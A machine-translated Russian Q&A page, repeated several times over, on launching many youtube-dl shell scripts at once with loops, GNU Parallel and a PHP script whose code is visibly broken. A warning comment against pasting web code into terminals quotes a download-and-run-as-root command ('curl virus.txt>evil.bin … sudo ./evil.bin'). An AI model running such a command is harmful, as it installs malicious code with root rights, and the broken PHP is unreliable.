Запуск каталога, полного файлов .sh с помощью одной команды

У меня есть каталог с большим количеством файлов .sh в нем, все из которых при запуске открывают терминал и запускают загрузку youtube-dl. Поскольку их так много, я надеялся найти способ активировать их все сразу, открыв сразу несколько разных терминалов, а не выполнять их отдельно. Я все еще очень новичок в программировании, поэтому я не совсем уверен, как это сделать, и могу ли я создать скрипт для запуска их всех, использовать команду и т. Д. Любая помощь приветствуется, спасибо.

7
задан 30 April 2017 в 16:02

16 ответов

Хотя вы действительно можете запустить все .sh файлы в каталоге с циклом for, предложенным Яроном, это действительно сложный подход. Не пишите много скриптов, если только разница между ними - это RL, который они будут загружать! И нет никаких оснований для создания окна терминала для каждого из них!

Вместо этого напишите URL-адреса YouTube в файл, по одному на строку:

http://youtube.com/foo
http://youtube.com/bar
http://youtube.com/baz

Затем, чтобы загрузите их, используйте (file - имя файла с URL-адресами):

while read url; do
    youtube-dl "$url"
done < file

Это будет загружать каждое видео в файл один за другим. Если вы хотите загрузить их все одновременно (это не очень хорошая идея, если у вас их слишком много), вы можете запустить каждую команду загрузки в фоновом режиме, добавив &:

while read url; do
    youtube-dl "$url" &
done < file
9
ответ дан 22 May 2018 в 23:04
  • 1
    Причина, по которой я имею их всех в разных файлах .sh, заключается в том, что я загружаю по каналу, и каждый загруженный канал входит в свой собственный каталог с собственным файлом archive.txt. Файл .sh указывает, куда идут загрузки, и как назвать архивный файл и т. Д. – Bencc 30 April 2017 в 16:55
  • 2
    @Bencc все, что было бы лучше сделано в одном скрипте вместо многих. Я просто говорю, что вы делаете свою жизнь намного сложнее, чем нужно. Вы всегда можете опубликовать новый вопрос, дающий пример одного из ваших сценариев, и мы могли бы показать вам, как объединить их в один скрипт. – terdon♦ 30 April 2017 в 17:28
  • 3
    Кроме того, youtube-dl принимает несколько URL-адресов в качестве аргументов, поэтому цикл не нужен. :) – Andrea Lazzarotto 30 April 2017 в 20:26
  • 4
    Еще лучше, youtube-dl может читать URL-адреса из файла: youtube-dl -a my-url-list.txt. Кроме того, вы можете вставить список URL-адресов в командную строку youtube-dl: xargs youtube-dl < my-url-list.txt. – David Foerster 30 April 2017 в 22:16
  • 5
    Спасибо за совет, я собираюсь сделать новую запись и привести пример моего сценария, чтобы я мог объединить их всех, как предложил тердон. – Bencc 1 May 2017 в 18:35

Хотя вы действительно можете запустить все .sh файлы в каталоге с циклом for, предложенным Яроном, это действительно сложный подход. Не пишите много скриптов, если только разница между ними - это RL, который они будут загружать! И нет никаких оснований для создания окна терминала для каждого из них!

Вместо этого напишите URL-адреса YouTube в файл, по одному на строку:

http://youtube.com/foo http://youtube.com/bar http://youtube.com/baz

Затем, чтобы загрузите их, используйте (file - имя файла с URL-адресами):

while read url; do youtube-dl "$url" done < file

Это будет загружать каждое видео в файл один за другим. Если вы хотите загрузить их все одновременно (это не очень хорошая идея, если у вас их слишком много), вы можете запустить каждую команду загрузки в фоновом режиме, добавив &:

while read url; do youtube-dl "$url" & done < file
10
ответ дан 18 July 2018 в 14:02

Хотя вы действительно можете запустить все .sh файлы в каталоге с циклом for, предложенным Яроном, это действительно сложный подход. Не пишите много скриптов, если только разница между ними - это RL, который они будут загружать! И нет никаких оснований для создания окна терминала для каждого из них!

Вместо этого напишите URL-адреса YouTube в файл, по одному на строку:

http://youtube.com/foo http://youtube.com/bar http://youtube.com/baz

Затем, чтобы загрузите их, используйте (file - имя файла с URL-адресами):

while read url; do youtube-dl "$url" done < file

Это будет загружать каждое видео в файл один за другим. Если вы хотите загрузить их все одновременно (это не очень хорошая идея, если у вас их слишком много), вы можете запустить каждую команду загрузки в фоновом режиме, добавив &:

while read url; do youtube-dl "$url" & done < file
10
ответ дан 24 July 2018 в 20:18

Хотя вы действительно можете запустить все .sh файлы в каталоге с циклом for, предложенным Яроном, это действительно сложный подход. Не пишите много скриптов, если только разница между ними - это RL, который они будут загружать! И нет никаких оснований для создания окна терминала для каждого из них!

Вместо этого напишите URL-адреса YouTube в файл, по одному на строку:

http://youtube.com/foo http://youtube.com/bar http://youtube.com/baz

Затем, чтобы загрузите их, используйте (file - имя файла с URL-адресами):

while read url; do youtube-dl "$url" done < file

Это будет загружать каждое видео в файл один за другим. Если вы хотите загрузить их все одновременно (это не очень хорошая идея, если у вас их слишком много), вы можете запустить каждую команду загрузки в фоновом режиме, добавив &:

while read url; do youtube-dl "$url" & done < file
10
ответ дан 31 July 2018 в 12:10
Обратите внимание: файлы должны быть исполняемыми - вы можете выполнить следующую команду в каталоге, где хранятся файлы .sh, перед запуском вышеуказанного скрипта:
chmod +x *.sh

Следующий скрипт будет возьмите все файлы с помощью .sh и выполните их.

#/bin/bash
for shfile in *.sh
do
    ./$shfile
done

Вы можете скопировать / вставить указанные выше строки (без первой строки #/bin/bash) в свой терминал, и это сделает трюк (спасибо @terdon за ваш комментарий).

Вы можете сохранить этот скрипт в другой папке (например, /tmp/execute_all.sh и сделать его выполнимым с помощью:

chmod +x /tmp/execute_all.sh

Затем перейдите в каталог с файлами .sh и выполнить сценарий, используя:

/tmp/execute_all.sh

Сценарий попытается выполнить все файлы, заканчивающиеся на .sh

2
ответ дан 22 May 2018 в 23:04
  • 1
    Нет причин использовать сценарий для этого. Просто скопируйте / вставьте цикл for непосредственно в терминал. – terdon♦ 30 April 2017 в 16:27
  • 2
    @terdon - спасибо за комментарий! Я согласен, что эти 4 строки могут быть выполнены с терминала. Я предположил, что легче запустить команду как скрипт, а не копировать-вставить. – Yaron 30 April 2017 в 17:00
  • 3
    @terdon Также может быть полезно убедиться, что никто никогда не копирует и вставляет из Интернета прямо в терминал; это действительно легко добавить невидимый <span> или два в кодовый блок и curl virus.txt>evil.bin;chmod +x evil.bin;sudo ./evil.bin на машину пользователя. – wizzwizz4 30 April 2017 в 19:27
  • 4
    @ wizzwizz4 это возможно даже в блоке кода? HTML-теги не будут отображаться, поскольку кодовые блоки заключены в теги <pre>. – terdon♦ 1 May 2017 в 16:39
  • 5
    @terdon Это не техническая возможность на Stack Exchange, но: это общий совет; любой сайт может быть взломан; это еще проще отразить; многие люди привыкли к копированию и вставке, поэтому даже не подумали бы о том, чтобы сделать это в терминале; и т.п. – wizzwizz4 1 May 2017 в 19:43

Если программа работает в сети, то есть для Linux, попробуйте сделать php-файл для обработки оболочки. и файл оболочки для обработки php ..

Например: файл runAllShell.php может содержать цикл .:

<?php
// Developed by A T.
// Count the files
$directory = '/put/directory/path_here/';
$files = glob($directory . '*.*');

if ( $files !== false )
{
    $filecounter = count( $files );

}
else
{
    echo "No Files were found";
}
$fileCount = $filecounter;

// Start the index
$fileNumber = 1;
while($fileNumber <= fileCount){
shell_exec('$fileNumber . ".sh"');
// get some feedback
echo "The ".$fileNumber." file has been excecuted";
// increment file number
$fileNumber++;

}
?>

убедитесь, что все .sh-файлы в для этого заданы численные порядки: 1.sh 2.sh 3.sh и т. д.

0
ответ дан 22 May 2018 в 23:04

Я испытал, что некоторые видеосайты не очень стабильны, и мне приходится несколько раз повторять загрузку. GNU Parallel может это сделать:

cat urls.txt | parallel --retries 50 --timeout 1000% --joblog +my.log youtube-dl

Это запустит одно задание на ядро ​​процессора и попробует 50 раз, если загрузка завершится с ошибкой. Он будет убивать задания, которые занимают 10 дольше, чем среднее время выполнения (например, если загрузка застряла). Он также добавит файл my.log, чтобы вы могли видеть статус каждого задания.

0
ответ дан 22 May 2018 в 23:04

Я испытал, что некоторые видеосайты не очень стабильны, и мне приходится несколько раз повторять загрузку. GNU Parallel может это сделать:

cat urls.txt | parallel --retries 50 --timeout 1000% --joblog +my.log youtube-dl

Это запустит одно задание на ядро ​​процессора и попробует 50 раз, если загрузка завершится с ошибкой. Он будет убивать задания, которые занимают 10 дольше, чем среднее время выполнения (например, если загрузка застряла). Он также добавит файл my.log, чтобы вы могли видеть статус каждого задания.

0
ответ дан 18 July 2018 в 14:02

Если программа работает в сети, то есть для Linux, попробуйте сделать php-файл для обработки оболочки. и файл оболочки для обработки php ..

Например: файл runAllShell.php может содержать цикл .:

<?php // Developed by A T. // Count the files $directory = '/put/directory/path_here/'; $files = glob($directory . '*.*'); if ( $files !== false ) { $filecounter = count( $files ); } else { echo "No Files were found"; } $fileCount = $filecounter; // Start the index $fileNumber = 1; while($fileNumber <= fileCount){ shell_exec('$fileNumber . ".sh"'); // get some feedback echo "The ".$fileNumber." file has been excecuted"; // increment file number $fileNumber++; } ?>

убедитесь, что все .sh-файлы в для этого заданы численные порядки: 1.sh 2.sh 3.sh и т. д.

0
ответ дан 18 July 2018 в 14:02
Обратите внимание: файлы должны быть исполняемыми - вы можете выполнить следующую команду в каталоге, где хранятся файлы .sh, перед запуском вышеуказанного скрипта: chmod +x *.sh

Следующий скрипт будет возьмите все файлы с помощью .sh и выполните их.

#/bin/bash for shfile in *.sh do ./$shfile done

Вы можете скопировать / вставить указанные выше строки (без первой строки #/bin/bash) в свой терминал, и это сделает трюк (спасибо @terdon за ваш комментарий).

Вы можете сохранить этот скрипт в другой папке (например, /tmp/execute_all.sh и сделать его выполнимым с помощью:

chmod +x /tmp/execute_all.sh

Затем перейдите в каталог с файлами .sh и выполнить сценарий, используя:

/tmp/execute_all.sh

Сценарий попытается выполнить все файлы, заканчивающиеся на .sh

2
ответ дан 18 July 2018 в 14:02

Я испытал, что некоторые видеосайты не очень стабильны, и мне приходится несколько раз повторять загрузку. GNU Parallel может это сделать:

cat urls.txt | parallel --retries 50 --timeout 1000% --joblog +my.log youtube-dl

Это запустит одно задание на ядро ​​процессора и попробует 50 раз, если загрузка завершится с ошибкой. Он будет убивать задания, которые занимают 10 дольше, чем среднее время выполнения (например, если загрузка застряла). Он также добавит файл my.log, чтобы вы могли видеть статус каждого задания.

0
ответ дан 24 July 2018 в 20:18

Если программа работает в сети, то есть для Linux, попробуйте сделать php-файл для обработки оболочки. и файл оболочки для обработки php ..

Например: файл runAllShell.php может содержать цикл .:

<?php // Developed by A T. // Count the files $directory = '/put/directory/path_here/'; $files = glob($directory . '*.*'); if ( $files !== false ) { $filecounter = count( $files ); } else { echo "No Files were found"; } $fileCount = $filecounter; // Start the index $fileNumber = 1; while($fileNumber <= fileCount){ shell_exec('$fileNumber . ".sh"'); // get some feedback echo "The ".$fileNumber." file has been excecuted"; // increment file number $fileNumber++; } ?>

убедитесь, что все .sh-файлы в для этого заданы численные порядки: 1.sh 2.sh 3.sh и т. д.

0
ответ дан 24 July 2018 в 20:18
Обратите внимание: файлы должны быть исполняемыми - вы можете выполнить следующую команду в каталоге, где хранятся файлы .sh, перед запуском вышеуказанного скрипта: chmod +x *.sh

Следующий скрипт будет возьмите все файлы с помощью .sh и выполните их.

#/bin/bash for shfile in *.sh do ./$shfile done

Вы можете скопировать / вставить указанные выше строки (без первой строки #/bin/bash) в свой терминал, и это сделает трюк (спасибо @terdon за ваш комментарий).

Вы можете сохранить этот скрипт в другой папке (например, /tmp/execute_all.sh и сделать его выполнимым с помощью:

chmod +x /tmp/execute_all.sh

Затем перейдите в каталог с файлами .sh и выполнить сценарий, используя:

/tmp/execute_all.sh

Сценарий попытается выполнить все файлы, заканчивающиеся на .sh

2
ответ дан 24 July 2018 в 20:18
  • 1
    Нет причин использовать сценарий для этого. Просто скопируйте / вставьте цикл for непосредственно в терминал. – terdon♦ 30 April 2017 в 16:27
  • 2
    @terdon - спасибо за комментарий! Я согласен, что эти 4 строки могут быть выполнены с терминала. Я предположил, что легче запустить команду как скрипт, а не копировать-вставить. – Yaron 30 April 2017 в 17:00
  • 3
    @terdon Также может быть полезно убедиться, что никто никогда не копирует и вставляет из Интернета прямо в терминал; это действительно легко добавить невидимый <span> или два в кодовый блок и curl virus.txt>evil.bin;chmod +x evil.bin;sudo ./evil.bin на машину пользователя. – wizzwizz4 30 April 2017 в 19:27
  • 4
    @ wizzwizz4 это возможно даже в блоке кода? HTML-теги не будут отображаться, поскольку кодовые блоки заключены в теги <pre>. – terdon♦ 1 May 2017 в 16:39
  • 5
    @terdon Это не техническая возможность на Stack Exchange, но: это общий совет; любой сайт может быть взломан; это еще проще отразить; многие люди привыкли к копированию и вставке, поэтому даже не подумали бы о том, чтобы сделать это в терминале; и т.п. – wizzwizz4 1 May 2017 в 19:43

Я испытал, что некоторые видеосайты не очень стабильны, и мне приходится несколько раз повторять загрузку. GNU Parallel может это сделать:

cat urls.txt | parallel --retries 50 --timeout 1000% --joblog +my.log youtube-dl

Это запустит одно задание на ядро ​​процессора и попробует 50 раз, если загрузка завершится с ошибкой. Он будет убивать задания, которые занимают 10 дольше, чем среднее время выполнения (например, если загрузка застряла). Он также добавит файл my.log, чтобы вы могли видеть статус каждого задания.

0
ответ дан 31 July 2018 в 12:10

Если программа работает в сети, то есть для Linux, попробуйте сделать php-файл для обработки оболочки. и файл оболочки для обработки php ..

Например: файл runAllShell.php может содержать цикл .:

<?php // Developed by A T. // Count the files $directory = '/put/directory/path_here/'; $files = glob($directory . '*.*'); if ( $files !== false ) { $filecounter = count( $files ); } else { echo "No Files were found"; } $fileCount = $filecounter; // Start the index $fileNumber = 1; while($fileNumber <= fileCount){ shell_exec('$fileNumber . ".sh"'); // get some feedback echo "The ".$fileNumber." file has been excecuted"; // increment file number $fileNumber++; } ?>

убедитесь, что все .sh-файлы в для этого заданы численные порядки: 1.sh 2.sh 3.sh и т. д.

0
ответ дан 31 July 2018 в 12:10
Обратите внимание: файлы должны быть исполняемыми - вы можете выполнить следующую команду в каталоге, где хранятся файлы .sh, перед запуском вышеуказанного скрипта: chmod +x *.sh

Следующий скрипт будет возьмите все файлы с помощью .sh и выполните их.

#/bin/bash for shfile in *.sh do ./$shfile done

Вы можете скопировать / вставить указанные выше строки (без первой строки #/bin/bash) в свой терминал, и это сделает трюк (спасибо @terdon за ваш комментарий).

Вы можете сохранить этот скрипт в другой папке (например, /tmp/execute_all.sh и сделать его выполнимым с помощью:

chmod +x /tmp/execute_all.sh

Затем перейдите в каталог с файлами .sh и выполнить сценарий, используя:

/tmp/execute_all.sh

Сценарий попытается выполнить все файлы, заканчивающиеся на .sh

2
ответ дан 31 July 2018 в 12:10
  • 1
    Нет причин использовать сценарий для этого. Просто скопируйте / вставьте цикл for непосредственно в терминал. – terdon♦ 30 April 2017 в 16:27
  • 2
    @terdon - спасибо за комментарий! Я согласен, что эти 4 строки могут быть выполнены с терминала. Я предположил, что легче запустить команду как скрипт, а не копировать-вставить. – Yaron 30 April 2017 в 17:00
  • 3
    @terdon Также может быть полезно убедиться, что никто никогда не копирует и вставляет из Интернета прямо в терминал; это действительно легко добавить невидимый <span> или два в кодовый блок и curl virus.txt>evil.bin;chmod +x evil.bin;sudo ./evil.bin на машину пользователя. – wizzwizz4 30 April 2017 в 19:27
  • 4
    @ wizzwizz4 это возможно даже в блоке кода? HTML-теги не будут отображаться, поскольку кодовые блоки заключены в теги <pre>. – terdon♦ 1 May 2017 в 16:39
  • 5
    @terdon Это не техническая возможность на Stack Exchange, но: это общий совет; любой сайт может быть взломан; это еще проще отразить; многие люди привыкли к копированию и вставке, поэтому даже не подумали бы о том, чтобы сделать это в терминале; и т.п. – wizzwizz4 1 May 2017 в 19:43

Другие вопросы по тегам:

Похожие вопросы: